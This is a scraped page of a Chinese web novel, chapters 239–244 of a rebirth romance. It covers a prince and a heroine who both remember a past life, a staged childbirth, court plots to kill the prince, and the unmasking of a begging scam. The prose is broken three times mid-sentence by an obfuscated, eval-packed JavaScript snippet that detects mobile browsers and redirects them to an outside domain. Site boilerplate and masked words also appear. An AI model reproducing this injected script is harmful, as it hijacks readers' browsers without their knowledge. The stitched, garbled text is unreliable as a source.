他值得她信任。
想了想,她深吸一口气,下定了决心,决定赌一把。
她看着谢翊宁一字一句道:“真巧,我也和王爷做了一样的梦。”
这句话一出,谢翊宁就明白了。
她也重生了。
两人四目相对,一句话都没说,又像说了千言万语。
谢翊宁蓦然绽开一抹笑:“梦里,多谢你。”
“不用谢,最后我不也没救下王爷么。”晏逐星见他笑了,紧绷着的心弦也放松了,也跟着笑了起来。
“不,你救下了。如果没有你为我挡的那一箭,就没有现在的我。”谢翊宁坦然地开口了。
“王爷……”见他挑明了说,晏逐星还是有些不太适应,有些不安地抬头看着他。
“过去,真是辛苦你了。”他伸出手,轻轻摸了摸晏逐星的脑袋。
一个小姑娘,孤身从京城赶到边关,千里迢迢,女扮男装从军,上阵杀敌,每一件事都需要付出超乎常人想象的努力和决心。
本小章还未完,请点击下一页继续阅读后面精彩内容!真是太辛苦了。
晏逐星浑身一僵,怎么都没想到他会忽然冒出这么一句话。
这轻描淡写的抚慰,猝不及防地撬开了她心底最深处的委屈。
毫无征兆的,眼眶骤然一热。
她甚至没来得及感知这份汹涌的情绪,滚烫的泪珠便已挣脱了束缚,无声滑落。
她怔怔地站在原地,眼神空茫,并未意识到自己落泪了。
直到一只温热干燥的手,带着小心翼翼的力道,轻轻抚上她的脸颊。
谢翊宁的指腹带着薄茧,动作却极尽轻柔,如同擦拭一件稀世珍宝,缓缓拭去了她脸上的湿意。
晏逐星身子猛地一颤,这才后知后觉地发现自己哭了。
“没什么辛苦的。”她下意识地偏开头,脸上瞬间腾起一片火烧云般的红晕,连耳根都染上了一抹红色。
她慌乱地用手背将剩下的眼泪擦了干净。
可是怎么擦,都擦不完。
她过去从不喊辛苦,是因为知道喊得再大声,会心疼她的人都已经不在了。
定远侯府的人,不是她的亲人。
她能依靠的人,只有她自己。
谢翊宁擦拭眼泪的手顿时一僵。
啊啊啊啊啊啊,他刚刚在做什么!
这不是在轻薄小恩人么。
可他看到她哭,脑子根本来不及反应,手就已经伸出去替她擦掉眼泪了。
他只是不想看她哭。
她一哭,他心里就难受。
他总觉得,她就该像那最烈的骄阳,最自由的风,肆意地活着,纵情地笑着。
策马扬鞭,无拘无束,明艳张扬,如鹰击长空,畅游于浩荡天地之间。
谢翊宁将帕子递给了她。
他没想到自己一句话竟然把她弄哭了。
愧疚,自责,一瞬间涌上心头。
怎么会不辛苦呢。
但他不愿看她继续哭下去,因而飞快地转移了话题。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第240章 解释是掩饰
“都怪定远侯府那群畜生,就这么死了真是便宜他们了。要不,把他们坟挖了吧,鞭尸给你出出气?”
听到谢翊宁这话,晏逐星一个没忍住,“噗嗤”一声笑了出来。
这下好了。
悲喜交加,气息一时岔了道儿。
只听“啵”的一声响,一个圆乎乎的鼻涕泡毫无预兆地从鼻子里冒了出来。
晏逐星:“……”
她整个人僵在原地,杏眼瞪得溜圆,脸上那点残存的笑意和泪痕全都僵住了。
前所未有的巨大羞耻感瞬间将她淹没。
她不敢去看对面谢翊宁此刻是什么表情,只恨不得立刻原地消失。
谢翊宁死死憋住了笑。
生怕让自己的小恩人尴尬,忍得他腹肌都笑疼了。
晏逐星慌乱地用帕子擦掉了鼻涕泡,本就泛着红的脸颊此刻更红了。
先前那点淡淡的旖旎氛围顿时烟消云散。
她瞪了谢翊宁一眼:“王爷想笑就笑吧,不必忍着,省得待会憋得难受岔了气,还得请季太医来一趟。”
谢翊宁强忍着笑意因为她这一句话破了功。
他一边笑一边飞快地解释:“本王只是觉得鞭尸的场景大快人心,所以笑了。”
晏逐星:“……”
王爷还不如不解释呢。
解释就是掩饰。
“不必挖坟鞭尸了,我已经大仇得报了。”晏逐星摇了摇头,“如今,我只想找到秦王妃。”
定远侯府众人欠她的,她已经自己讨回来了。
现在她的仇人是秦王妃。
她得抓紧时间,将她找到,好报当年的仇。
若不是她起了歹心,又怎会害得她与爹娘兄长分离十几年。
若不是因为她,棠家村上下一百多口人又怎会没命。
提到秦王妃,谢翊宁猛地一拍脑袋,赶紧把门外守着的停云叫了过来,让他回王府取三万六千两银票来。
晏逐星听到他的吩咐,有些惊讶。
谢翊宁知道她在想什么,解释道:“那三万六千两是秦王妃留下的,你们一家都是受害者,这笔银子,你拿着天经地义。莫要推辞了。”
听到这话,晏逐星没有再开口拒绝。
她垂下了头,喃喃道:“您说,当年棠家村,会不会有人逃出去了?”
“说不定呢!”谢翊宁安慰道,“就像王素娥娘家被纵火,她的弟妹宋氏不就侥幸逃过了一劫么。”
听到这话,晏逐星抬起了头,眼睛里多了一抹光:“王爷言之有理。咱们这一次回去,找一找,说不定能找到那天晚上幸存的村民,可以找到线索,知道那天晚上的真相。到时候,这笔银子,也能派上用场。”
“好。”谢翊宁赞同地点了点头。
“上辈子的事情,你记得多少?”
话说开了,也就没什么好藏着掖着的了。
晏逐星听他这么问,便将自己记得的事情说了出来。
谢翊宁也把自己记得的事情和盘托出。
两人这么一对,确实发现了上辈子霍家军和北境对战的不对劲。
“他们用的武器,感觉比第一年的强了很多。”晏逐星把她的发现告诉了谢翊宁。
“或许真的是琉光在暗中给他们提供了帮助!”谢翊宁把自己的推测也说了出来。
两人这一聊,就聊到了天亮。
把上辈子记得的事情都整理到了一起,方便之后互通有无。
离开前,谢翊宁把那三万六千两银票还给了晏逐星。
他之所以没把上一次晏逐星给的四万全都还回来,是因为他很清楚,她不会要。
不过日后还有机会,不急于这一时。
送走了谢翊宁,晏逐星才感觉到了困意。
重生后压在心头的最大巨石,已经彻底被搬走了。
她现在有了一个可以和她一同分担秘密的人,这感觉可真奇妙。
她迷迷糊糊地在床上睡了约莫一个时辰,九栀就把她叫醒了。
“县主,骆夫人她们已经收拾好了,就等您一块出发去摘星山庄呢。”
晏逐星打了个哈欠,点点头:“好,咱们兵分两路,我和表姑她们一块,你带孩子和奶娘回山庄。”
洗漱过后,晏逐星先去了定远侯府。
再一次回来,府里的陈设并没有改变,但晏逐星还是觉得整个侯府焕然一新,多了一些人气。
骆文缨笑眯眯地出来接她。
“小星儿可算回来了。”
瞧见她眼底一片乌青,骆文缨凑上前,好奇道:“你这黑眼圈怎么回事,昨晚做贼去了么?”
晏逐星顿时有些做贼心虚。
昨夜虽然没有做贼,但也和做贼差不多了。
若是让表姑知道她和永安王孤男寡女彻夜长谈,怕是待会就要去找义母告状,让义母入宫找皇后娘娘赐婚了吧。
那可不行。
永安王拿她当恩人,她怎么能坏他名声。
“找到家里人之后,有些激动,这几日都没睡好。”晏逐星找了个借口糊弄过去。
听到她提起家里人,骆文缨顿时来了兴趣。
“恭喜你呀,终于寻到了家里人。你家里人是什么情况,你给我说说呗。”骆文缨挽着她的胳膊上了马车。
本小章还未完,请点击下一页继续阅读后面精彩内容!她嫁过来当天定远侯就死了,没几日母亲也死了。
她心里所有的负担都没了。
再也不用担心母亲带着遗憾离开了,
侯府的三个姨娘都很听话,从不给她找事。
她们四人相处得十分和谐,还经常一起打马吊。
她还在侯府弄了个演武场,方便她和骆家带来的丫鬟们一块练武比划比划。
她是侯府女主人,上头没有公婆,她背后是烈国公府,晏氏一族的新族长也不敢过多干涉她。
她现在的日子过得可比出嫁前舒坦多了。
因而整个人面色红润,看起来年轻了好几岁。
晏逐星在马车上和她说起了自己的身世。
听到棠家村的事情,骆文缨气得攥紧了拳头。
“这群人,还有没有王法了!”
两人一路这么说着,很快就到了摘星山庄。
晏逐星和骆文缨先下车,三个姨娘在后边的马车。
一进摘星山庄,她们就忍不住感慨。
“这儿比京城里凉爽多了。”
“就是就是。”
晏逐星听到这话,笑道:“姨娘们要是喜欢,可以多住些日子。”
有了她这句话,几人更高兴了。
晏逐星将骆文缨和柳姨娘还有林姨娘安排到了一个院子里,把阮姨娘单独安排在了自己的院子附近。
骆文缨有些不赞同:“要不然还是让她和我们住一块吧。你一个未出阁的小姑娘,照顾她这个孕妇,多麻烦呀。”
晏逐星给九栀使了个眼神。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第241章 没生过孩子
九栀上前道:“夫人,奴婢与阮姨娘是故交,想多和阮姨娘说会话,所以特请县主将人安置在附近。还望夫人理解。”
阮寄薇忙道:“是啊是啊,妾身也想和九栀妹妹单独说会话。”
她可不想和夫人她们住在一起,那三人除了林姨娘是傻的,其他一个比一个精明。
住在一块,她怕自己会露馅。
“行吧,那就听小星儿的。”骆文缨没再强求。
就这样住了几日,宋氏发动了,即将临盆。
晏逐星赶忙安排阮寄薇在院子里来了一出“受惊早产”的戏码,好将两人安排到一起生孩子。
“不好了,夫人,阮姨娘被院子里的蜜蜂吓了一跳,摔了一跤,如今要生了。”阮寄薇的丫鬟急匆匆地跑了过来汇报。
“什么?”正在一起打叶子牌的骆文缨三人都吓了一跳。
她们急匆匆地赶了过去。
晏逐星已经在院子里等着了,屋内传来了阵阵惨叫,听得几人心惊胆战。
晏逐星看向骆文缨:“表姑放心,我已经命人把稳婆和大夫都请来了,一定不会让阮姨娘腹中的孩子出事的。”
“那就好。”骆文缨长长地舒了一口气。
若是阮寄薇腹中的孩子没了,她还得从晏氏一族过继一个孩子来继承侯府。
可那些孩子哪里比得上出生就自己养大的啊。
如今阮寄薇和肚子里的孩子能没事就最好了。
“生孩子这么痛吗?”
“阮妹妹能撑得住吗?”
“孩子还得多久才生出来啊?”
林姨娘忍不住碎碎念。
柳姨娘没好气地看了她一眼:“在场的,你看看有谁是生过孩子的。你问这些,我们哪知道啊。”
林姨娘:“……”
也是。
她和柳姐姐都被温氏灌了避子汤,从未有过身孕。
而夫人是头婚,刚嫁过来就守了寡,连洞房都没来得及。
更别说令嘉县主一个没出阁的少女了。
在场的还真没人有生孩子的经验。
一旁的池嬷嬷笑着命下人给她们端来了消暑的绿豆汤。
“生孩子呀,急不得,有人生得快,半个时辰就生完了。但大多数都比较久,生个七八个时辰都很正常。几位客人不如先到花厅里歇着慢慢等。”
“也行。反正我们也帮不上什么忙。”骆文缨看见晏逐星把稳婆和大夫都请了,连奶娘都准备好了,也就不操心了。
她一走,柳姨娘和林姨娘便也跟着走了。
晏逐星松了一口气。
她们若是一直守着,她还担心被看出什么不对劲呢,这下好了。
约莫过了四个时辰,屋子里的叫声越来越弱,紧接着是一声嘹亮的啼哭声。
晏逐星长长地松了一口气。
终于生了!
“生了,生了,恭喜夫人河西夫人,生了一对龙凤胎,小少爷小姑娘都有了。儿女双全。”提前安排好的稳婆出来报喜。
骆文缨忙领着两个姨娘赶过来。
三人围着两个孩子仔细打量,发现儿子瘦瘦小小的,女儿倒是生得结实。
“想必在肚子里时,兄长就谦让妹妹,所以才生得这般瘦弱。”晏逐星赶忙找补。
“有道理。”两位姨娘跟着点头。
“是不是该给孩子取名字了啊?”躺在床上假装生产完很虚弱的阮寄薇开口了。
“哦对对对,得取名字了。”骆文缨回过神来。
她看向了一旁逗孩子的晏逐星。
“要不,小星儿你来取?你是个有福气的,让孩子们也沾沾你的福气。”
一个民女,能得到如今的地位,可不是有福气么。
晏逐星也没有推辞。
她记得关月临死前留下的最后两个字是“平安”。
她想了想,开口道:“男孩叫平安,女孩叫明珠。如何?”
“晏平安?晏明珠?”几人把这两个名字念了一遍。
“不错不错,就这样吧。”
于是两个孩子的名字就这么定下了。
与此同时,对景王的判决也宣布了。
由于缺乏明确证据证明毒香是他放入白玉观音像的,他最终免于一死。
但这尊观音像到底还是他送进宫的,太后因此中毒中风偏瘫,他也必须对此负责。
朝堂上争来吵去好几天,最终文昭帝还是革去了景王的爵位,将他贬为庶人,囚禁在景王府中,终身不得外出。
有了这个判决。
晏逐星终于松了一口气。
太后如今无法作妖,景王也被囚禁,王贵妃还在禁足中,她可以安心收拾行囊和永安王一块去青州了。
*
蕙兰宫内。
睿王谢允恪正与母妃卢贤妃说起景王被贬为庶人一事。
他面上难掩振奋之色,唇角忍不住上扬。
“母妃您看,”他低声道,“景王已是庶人,五弟身有残缺,永安明年一旦没了……”
他顿住,话锋一转。
“这储位之争,岂非只剩儿臣与太子了?”
“理是这么个理,但你切莫冲动。”卢贤妃语重心长地提醒儿子,
“皇上春秋鼎盛,龙体康健,至少还要在那个位置上坐十几年。”
“你只需要当好一个孝顺儿子,韬光养晦足矣。”
王贵妃母子不就是操之过急,所以才落得如今这个下场么。
她可不希望儿子走了他们的老路。
“儿臣知道。”睿王眼里闪过一丝不耐烦,但还是恭恭敬敬地应下了。
母妃总是让他忍,让他等,让他当一个孝顺儿子讨好父皇。
可她也不看看,父皇是那么容易讨好的么。
除了太子和谢翊宁,他何时正眼瞧过旁的儿子。
就连腿有残缺的老五,也只是得了父皇命令太医院多加照看的吩咐。
若说是像照顾谢翊宁那样照顾他,那是从未有过的。
“不过儿臣收到了消息,说永安似乎要离京。这个好机会,咱们真的要错过么?”谢允恪还是不死心。
他知道自己与太子的差距。
若是直接竞争,除了母妃的家世,他哪里都比不过太子。
毕竟太子可是父皇自小手把手按照储君教养长大的。
若他想要争过太子,那必须就先把太子给毁了。
太子在京中不好动,那么离京的谢翊宁就是活靶子。
谢翊宁与太子手足情深,若谢翊宁出了事,想必太子一定会大受打击,从此一蹶不振。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第242章 以兄弟相称
“莫要胡来。”卢贤妃警告地看了儿子一眼。
“永安王过不了两年就没了,何必多此一举。”
见母妃完全不赞同他的想法,谢允恪只得不情不愿道:“……母妃说得是。”。
等等等,他都等了那么多年,如今机会就在眼前,为何还要继续等。
若谢翊宁**,太子大受打击,父皇肯定也很伤心。
届时他再趁虚而入,当个好儿子,讨取父皇欢心不好么。
母妃就是胆子太小!
不过他也不打算亲自伸手,他要把这消息传给王贵妃。
景王如今被贬为庶人,王家多年盘算付诸东流,他们怎么可能咽得下这口气。
还有康乐公主谢婳,和景王是一母同胞的亲兄妹,两人同年同月同日生,感情向来极好。
她肯定也咽不下这口气。
得知谢翊宁离京,定然会出手对付他。
螳螂捕蝉黄雀在后。
到时候他们只要动手了,他跟在后边坐收渔翁之利就好。
想到这,谢允恪脸上多了一抹笑意。
*
未央宫里。
谢翊宁正一脸麻木地呆在看着母后命人给自己收拾出行的东西。
“母后,您确定让儿臣带那么多东西么?”
他是领着晏逐星回青州查案的,不是去郊游的啊!
面前整整齐齐地摆着密封的御制点心、不易腐坏的肉脯干果、太医院特制的丸散膏丹,解毒、疗伤、安神功效的一应俱全。
夏日炎热,蚊虫蛇蚁众多,皇后还命人备了上好的驱蚊虫蛇蚁的药粉香囊,让所有人都挂在身上。
还有数只双层冰鉴,生怕儿子路上热着了,还一并附了沿途补充冰块的凭信。
除此之外,还有各种衣裳被褥什么的,东西多得谢翊宁都数不过来了。
“多么?不多。你头一回出远门,母后自然什么都要给你备好。”崔皇后不以为意。
“再说了,这里边除了你的东西,还有给令嘉县主家里人的礼物。头一回见面,你的救命恩人的家里人,不得好好感谢感谢?”
谢翊宁:“……”
他抚着额角,无力反驳。
只能眼睁睁看着母后兴致勃勃地指挥宫婢们收拾东西。
“这套**镶玉棋盘和两盒暖玉棋子也别落下了。”崔皇后说完扭头又看向儿子,“到时候路上无聊,你可以和令嘉县主一块下下棋嘛。”
崔皇后已经畅想着这一趟回来,儿子得了棠家人的认可,她和皇上可以派人去提亲了。
“罢了罢了,都听母后的。”谢翊宁开口敷衍。
反正东西先送回永安王府,到时候带什么走,还不是他说了算。
就先别和母后争论了。
一个时辰后,谢翊宁领着十多辆马车的东西离开了皇宫。
宫里妃嫔羡慕不已。
永安王果然得宠,每次出宫都是各种赏赐。
怪不得俸禄被扣也无所谓,横竖都有帝后替他兜底。
谢翊宁回了永安王府,派人去给晏逐星传了口信,确认明日出发后,便重新整理了一下东西。
最终硬是将十多辆马车的东西缩减成了四辆,这才出发。
*
摘星山庄门前。
晏逐星等着永安王一行人。
她心里有些雀跃,又有些紧张。
这一次出远门,和上辈子不同。
上辈子她狼狈逃窜到了边关,这一世却是收拾得妥妥当当,身边还有婢女和护卫相伴。
想来不会遇到上辈子的那些事情了。
想到上辈子的事情,晏逐星脸上的笑容淡了几分。
“王爷来了!”
双鲤欢快的声音打断了她的思绪。
晏逐星顺着她手指的方向看过去,看到了驾车的停云。
这一回出门,她只带了双鲤和九栀。
山庄就交给了池嬷嬷、花嬷嬷还有衔蝉共同打理。
若遇上解决不了的问题,可以去定远侯府寻骆文缨。
“县主,咱们出发吧。”停云停下了马车。
“好。”晏逐星点了点头,正欲上自己的马车,就听到停云又开口了。
“县主不如和王爷共乘一辆马车?路上也好有人说说话,不至于烦闷。”
晏逐星有些迟疑。
按理来说,她和谢翊宁该分开乘车。
“县主,路上不安全,若是遇上歹人,您与王爷在一块,更安全。”停云继续劝说。
一旁的双鲤偷偷瞥了他一眼,觉得他这话说得没有道理。
歹人若是要来,那肯定也是冲着王爷来的呀。
跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982559|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着王爷,岂不是更容易受伤。
马车里,谢翊宁掀开了车帘,瞧见一身男儿打扮的晏逐星一怔,而后笑道:“既然你换了男装,路上你我便以兄弟相称,同乘一车也不会有什么问题。”
“好。”晏逐星不再犹豫,利落上了马车。
九栀和双鲤也跟上了车。
他们一路往青州的方向去。
第一站先到了通州。
晏逐星想起上回让停云办的事,询问道:“对了,韩齐年如何了?”
停云赶忙回答:“回八公子,韩齐年已死。”
先前王爷说了,之后在外就称呼他们二人公子。
王爷行七,因而便让停云叫他七公子。
如今对外称晏逐星是他的弟弟,那自然就是八公子了。
“**的?”谢翊宁有些好奇。
停云恭恭敬敬道:“按八公子的吩咐,将人引到了通州赌坊。那姓韩的压根就是狗改不了吃屎,一下就上钩了。”
“在通州赌坊赌红了眼,借钱不还,被赌坊老板找上门,韩家已经无力为他还债,家里被拆光了,韩家人将韩齐年逐出了家门。”
“韩齐年被追债的人剁了手指,还要去赌,最后夜里在巷尾被人活活打死。没有人瞧见凶手,韩家人也不想追查此事,便将他草草下葬了。”
“韩家人怕那些人追来报复,已经举家搬离了通州,去了外地谋生。”
晏逐星听完这话,心里松了一口气。
韩齐年**也算替关月报了仇。
如今韩家人也离开了通州,平安的身世大概率不会被发现了。
至于关家人,就算他们日后察觉到平安的长相与关月相似,按照关万海的性子,也不敢胡乱攀扯。
而且前几日她还听骆文缨说了一个事。
据说自小抱养在身边亲自养大的孩子,长大后都会与养父母有几分相似。
她在心里暗暗祈祷,希望孩子长大了能像阮寄薇或者骆文缨,两人都生得貌美,孩子若是长得像他们的话,日后说亲也占优势。
毕竟世人都爱美。
对长得好看的人总会格外宽容几分。
几人没有在通州过多停留,便往下一个地方去了。
与此同时,悄悄跟在他们身后的人,也快速回京通报了。
第243章 哎呀作孽啊
“启禀殿下,永安王确实离京了,还捎带上了令嘉县主。如今他们已经抵达通州,目的地暂不清楚。”
康乐公主谢婳坐在上首,听着属下的汇报,脸色十分难看。
若不是皇后母子,她的皇兄又怎会被贬为庶人,她的母妃又怎会关禁闭。
她一定要让皇后尝尝丧子之痛。
“盯着,看他们要去哪里,找个机会,见机行事。杀了谢翊宁。”
属下心一惊,但还是恭敬应下。
只可惜,他们快马加鞭追上谢翊宁一行人后,发现他们一直戒备森严,根本没机会下手。
几日后,谢翊宁一行人就到了沧州。
他们带的东西消耗了一半,需要补充,同时人也需要休息休息,不能总是就地安寨扎营,因而众人一块进了城。
停云找了个客栈,安置好东西后,谢翊宁和晏逐星打算出去逛逛。
之前一直在赶路,他们都没好好逛逛,正好趁着这个机会出去走走。
两人正闲逛着,就瞧见了一个约莫五六岁的孩童跪在一个背着药箱的老大夫面前,哭得撕心裂肺。
“张大夫,求您救救我娘吧,我不能没有娘啊。”
张大夫想要抽回自己的腿,但却因为对方抱得太紧抽不回来。
他嫌恶地看着地上跪着的小孩。
“都说了,看诊要诊金,你就给我几个铜板,我怎么给你娘看诊?”
“你娘那病,是几个铜板能治的?没有十两银子,神仙也难救。别在这儿耽误老夫的时间,滚开!”
话音落下,他眼中厉色一闪,抬起穿着厚底布鞋的脚狠狠踹在那孩子瘦弱的肩膀上。
孩子痛呼一声,被踢得滚出去一尺多远,蜷缩在尘土里剧烈地咳嗽起来,泪水和着尘土,将整张脸染成了小花猫,显得凄惨又可怜。
这一幕,瞬间让围观的路人炸开了锅。
“哎呀!作孽啊!”一个挎着菜篮的妇人首先惊呼出声,满脸不忍,“还是个娃娃,你怎么下得去脚。”
“就是,心也太狠了。那可是人命关天啊!”旁边一个挑担的汉子也愤愤不平地放下担子。
“医者仁心,你这样狠心,也配当大夫?”
他怒视着那位张大夫。
张大夫对他这话充耳不闻,冷冷道:“难不成我要倒贴给他娘看诊不成?你心善,你倒是替他娘出这诊金啊。”
先前那男人便不吱声了。
普通老百姓谁家能一下拿出十两银子啊。
一年到头,能攒个三五两银子都算好的了。
孩子无助地呜咽着,看着越来越多围观的百姓,冲他们:“求求你们,救救我娘……求求了……”
“我爹**,阿爷阿奶也没了,如今我只剩一个娘了。我不能没有她了……”
孩子的抽泣声不大,却格外让人心疼。
这时,那位最先出声的妇人快步上前,蹲下身,心疼地用粗糙的手擦了擦孩子脸上的泥泪,从怀里摸索出一个裹得紧紧的小布包。
她抖抖索索地打开,拿出了几十个铜板,塞到孩子冰凉的小手里,哽咽道:“好孩子,别哭了,拿着,另请大夫去给你娘看看!救人要紧!”
随后狠狠地冲张大夫啐了一口唾沫。
“总而言之,别找这个没良心的大夫。”
她这举动,瞬间点燃了周围人的怒火。
那挑担的汉子也大步走过来,毫不犹豫地从腰间褡裳里掏出几个铜板:“给,孩儿,俺们凑一凑,大伙儿有力出力,都帮一把。你重新给你娘找个大夫,莫要让这没有医德的人给你娘看病了。”
“唉。拿去吧,可怜的孩子。”一个路过穿着体面的老者,听到这话掏出了几粒碎银子,递给了那个孩子。
“还有我!”
“也算我一份!”
一时间,路人纷纷慷慨解囊,铜钱、碎银如同雨点般落入妇人放在孩子面前的空菜篮里,叮当作响。
而那位张大夫早已灰溜溜地离开了。
谢翊宁看着面前的场景不落忍,生出了怜悯之意,开口道:“停云,给他十两银。”
停云点头应下,正欲送银子,就被晏逐星拦住了。
“别急。”
“怎么了?”谢翊宁不解地看着她。
“再看看。”晏逐星语气笃定。
上辈子她从京城一路赶到边关,见过的苦难比眼前的这一幕惨烈百倍。
底层的百姓们苦,但骗子也不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990753|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少。
她不想让谢翊宁的一腔好意被欺骗。
听她这么说,谢翊宁便让停云回来,两人假装没看到眼前的一幕,转身离开了。
九栀则悄悄跟上了那个孩子。
谢翊宁和晏逐星绕了一圈,也顺着九栀留下的暗号,乘着马车跟了上去。
在一个偏僻的巷尾,他们瞧见了先前那位张大夫。
他探头张望,似乎在等什么人。
没过多久,先前哭嚎着要救人的小孩就出现了。
“如何?今日得了多少银子?”张大夫迫不及待地开口。
“没多少,都是一群穷光蛋。”小孩面露不满,眼里满是嫌恶。
谢翊宁目瞪口呆。
原来这两人竟是一伙的。
还没等他反应过来,先前提着菜篮子的妇人也匆匆来了。
瞧见小孩和张大夫在盘算今日的铜钱和碎银子。
她伸手就抓了一把:“先把我今日给出去的还我,咱们再来好好算算。”
谢翊宁:“……”
原来这三个人都是一伙的???
几人凑在一块算了算,小男孩扁扁嘴:“啧,竟然不到三两银子。”
张大夫和那个妇人对此也很不满意。
“瞧那两个富家公子哥,身着天水碧绸衫和月白锦袍,看着光鲜亮丽,竟然那么抠门,一文钱也没施舍。”妇人嘀咕。
“什么公子哥,那个穿着月白锦袍的是个姑娘。这回真是看走眼了,一个姑娘家竟然心肠那么硬。”张大夫冷哼一声。
往日里,这些富家千金最是善良,一骗一个准。
今日竟然只骗到了穷鬼们的钱,那两个看着最有钱的竟然一文不掏。
穿着天水碧绸衫的谢翊宁低头看了自己一眼,又看了穿着月白锦袍的晏逐星,有些不确定地开口:“他们说的,不会是我们吧?”
晏逐星没想到那个老头眼睛那么尖,竟然认出了她是女儿身。
看来她这身装扮,还有待改进啊。
“应该说的就是咱俩了。”晏逐星点了点头。
谢翊宁顿时沉下了脸。
这该死的骗子!
随后,他有些好奇地看向晏逐星:“你怎么知道他们是骗子的?”
第244章 上一世骗局
晏逐星沉默了片刻后,开口道:“之前遇见过。”
上一世,她从京城去往边关时,遇到过一个小姑娘。
小姑娘被一个妇人拽着,哭喊着说要爹娘,牵她的人不是她娘亲。
那个妇人却打了她一耳光,然后跟众人赔罪,说小姑娘是偷了家里给夫君治病的买药钱买糖吃,刚刚挨了打,所以才不认她这个娘亲。
那妇人说得信誓旦旦,众人便信了。
唯有她不信,上前质问了那妇人。
小姑娘叫什么名字,何年何月何日生,妇人支支吾吾说不清楚。
晏逐星吓唬她要报官。
那妇人这才吓跑了,说认错了人。
那小姑娘抱着她哇哇大哭,说谢谢她,然后恳求她送她回家。
说她家就在前边不远处,若是把她送回家,她阿爹阿娘有重谢。
晏逐星有些迟疑,想着是不是将人送去官府比较好,小姑娘却哭得泪眼汪汪说只信她一人。
她便心软了。
她牵着小姑娘,按她说的地方走,结果却发现先前拐小姑娘的那个妇人和另一个男人在无人的巷道等着她。
她意识到不妙,松手就想跑。
不曾想,先前那哭哭啼啼柔弱无助的小姑娘竟狠狠咬了她的手腕一口,甚至都咬出了血。
回想到这,晏逐星下意识地摸了摸手腕。
“那群畜生竟然利用孩子来骗人!”谢翊宁听她说得心头一紧。
“后来呢?”
“后来……”晏逐星眼里闪过一丝冷意。
“多亏了我力气比旁**,一拳砸中那男人的鼻梁骨,直接把他给打晕了。”
那会儿她还是太善良了。
若是换做现在,她肯定直接把他杀了。
该死的人贩子,还不知道用那样的方法骗了多少人。
“那妇人和孩子见我把主心骨给打晕了,吓了一跳,没敢追我,我便趁机逃了。”晏逐星轻描淡写地把这事给揭过。
谢翊宁听她说完心里钝钝的难受。
尽管晏逐星只用三言两语,没有太过煽情,简单的就说完了这事。
但他依旧能清晰地想象出当时孤立无援的她是如何奋力搏杀,才惊险逃出虎口的。
她如今这份聪明,是上一世拿血泪和信任换来的。
他倒宁愿她此刻没有识破那老大夫的骗局。
“将那几人拿下。”谢翊宁沉着脸下了命令。
上一世他没能护她周全,这一世遇到这样的骗子,他绝不手软。
分赃完毕的几个骗子,正欲分开,就发现自己被包围了。
“你们是什么人?光天化日之下,要强抢百姓的钱么?!”张大夫大喊出声。
但停云等人懒得和他们废话,直接用刀把几人围堵了起来。
张大夫几人你看我一眼,我看你一眼,看着锋利的刀尖,最终老老实实地站在中间,没敢硬闯,生怕一不小心就人头落地。
“这位爷,咱们是不是有什么误会?”那位妇人露出了讨好的笑。
停云不语,看向了马车。
这时,谢翊宁和晏逐星从马车上下来。
看到他们二人,三个骗子脱口而出:“是你们?!”
“你们这三个骗子,没少在外招摇撞骗吧。”谢翊宁冷冷道,“将他们捆了送官府。”
“贵人饶了我们这一回吧。”那妇人反应最快,当即跪下。
“我们只骗了这一回,还不是因为生计所迫,呜呜呜。”
见她下跪,那小孩也有样学样,赶紧跪下:“贵人饶命,贵人饶命。”
但谢翊宁铁了心要送他们去官府,又怎会因为他们一两句话动摇。
“送去官府前该怎么做,你知道的吧?”谢翊宁看向了停云。
停云拍着胸脯保证道:“七公子放心,属下保证完成任务。”
晏逐星有些疑惑:“你打算让他们做什么?”
谢翊宁冲她挑眉一笑:“你跟着看看就知道了。”
晏逐星好奇跟在停云等人身后。
只见停云手脚麻利地用麻绳把骗子三人捆成了动弹不得的一串粽子,还嫌恶地用破布结结实实堵上了他们的嘴。
一行人并未直接前往官府,反而朝着城中最为热闹的东市走去。
到了人声鼎沸的集市口,停云停下了脚步。
他将一个不知从哪弄来的铜锣挂到了张大夫胸前,又将一块写有硕大墨字“骗”字的粗糙木牌,挂在了那男孩的脖子上,而那个妇人则被挂上了另一块写着“坑”字的牌子。
“铛——!”
停云猛地敲响了张大夫面前的铜锣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990754|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
